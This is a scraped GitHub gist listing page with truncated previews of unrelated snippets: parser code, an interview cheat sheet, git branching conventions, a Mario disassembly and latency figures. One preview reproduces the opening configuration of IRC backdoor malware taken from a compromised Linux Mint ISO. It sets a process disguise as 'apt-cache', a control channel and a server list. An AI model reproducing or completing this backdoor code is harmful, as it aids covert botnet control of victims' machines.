Skip to content

Instantly share code, notes, and snippets.

Daniel Aranda dwarandae

Block or report user

Report or block dwarandae

Hide content and notifications from this user.

Learn more about blocking users

Contact Support about this user’s behavior.

Learn more about reporting abuse

Report abuse
View GitHub Profile
Aaron1011 /
Last active Jan 15, 2018
Permanent Redirect Guesser
import requests
import sys
import time
import datetime
URL = "{}"
def main():
start =
for minute in range(start.minute, -1, -1):
kurobeats /
Created Feb 21, 2016 from malicious Linux Mint iso
#define STARTUP 1
#undef IDENT // Only enable this if you absolutely have to
#define FAKENAME "apt-cache" // What you want this to hide as
#define CHAN "#mint" // Channel to join
#define KEY "bleh" // The key of the channel
int numservers=5; // Must change this to equal number of servers down there
char *servers[] = {
bishboria /
Last active Dec 13, 2019
Springer made a bunch of books available for free, these were the direct links
DmitrySoshnikov / LL1-parser-first-follow-sets.js
Last active Nov 20, 2019
LL(1) Parser. Parsing table, part 1: First and Follow sets.
View LL1-parser-first-follow-sets.js
* LL(1) parser. Building parsing table, part 1: First and Follow sets.
* NOTICE: see full implementation in the Syntax tool, here:
* by Dmitry Soshnikov <>
* MIT Style License
* An LL(1)-parser is a top-down, fast predictive non-recursive parser,
View LL-parser.js
* = LL parser =
* by Dmitry Soshnikov <>
* MIT Style license
* Often one can see manually written LL parsers implemented as
* recursive descent. Approach in this diff is a classical parse table
* state machine.
TSiege / The Technical Interview Cheat
Last active Dec 14, 2019
This is my technical interview cheat sheet. Feel free to fork it or do whatever you want with it. PLEASE let me know if there are any errors or if anything crucial is missing. I will add more links soon.
View The Technical Interview Cheat


I have moved this over to the Tech Interview Cheat Sheet Repo since a gist is too difficult to maintain as an open source endevaor and there is no way to version it. I have updated below, but I will not be able to keep this one up to date so please checkout the repo instead. The below is just for some preservation for those who stumble across here.


digitaljhelms / gist:4287848
Last active Dec 14, 2019
Git/GitHub branching standards & conventions
View gist:4287848


Quick Legend

Instance Branch Description, Instructions, Notes
1wErt3r / SMBDIS.ASM
Created Nov 9, 2012
A Comprehensive Super Mario Bros. Disassembly
;by doppelganger (
;This file is provided for your own use as-is. It will require the character rom data
;and an iNES file header to get it to work.
;There are so many people I have to thank for this, that taking all the credit for
;myself would be an unforgivable act of arrogance. Without their help this would
;probably not be possible. So I thank all the peeps in the nesdev scene whose insight into
;the 6502 and the NES helped me learn how it works (you guys know who you are, there's no
jboner / latency.txt
Last active Dec 14, 2019
Latency Numbers Every Programmer Should Know
View latency.txt
Latency Comparison Numbers (~2012)
L1 cache reference 0.5 ns
Branch mispredict 5 ns
L2 cache reference 7 ns 14x L1 cache
Mutex lock/unlock 25 ns
Main memory reference 100 ns 20x L2 cache, 200x L1 cache
Compress 1K bytes with Zippy 3,000 ns 3 us
Send 1K bytes over 1 Gbps network 10,000 ns 10 us
Read 4K randomly from SSD* 150,000 ns 150 us ~1GB/sec SSD
You can’t perform that action at this time.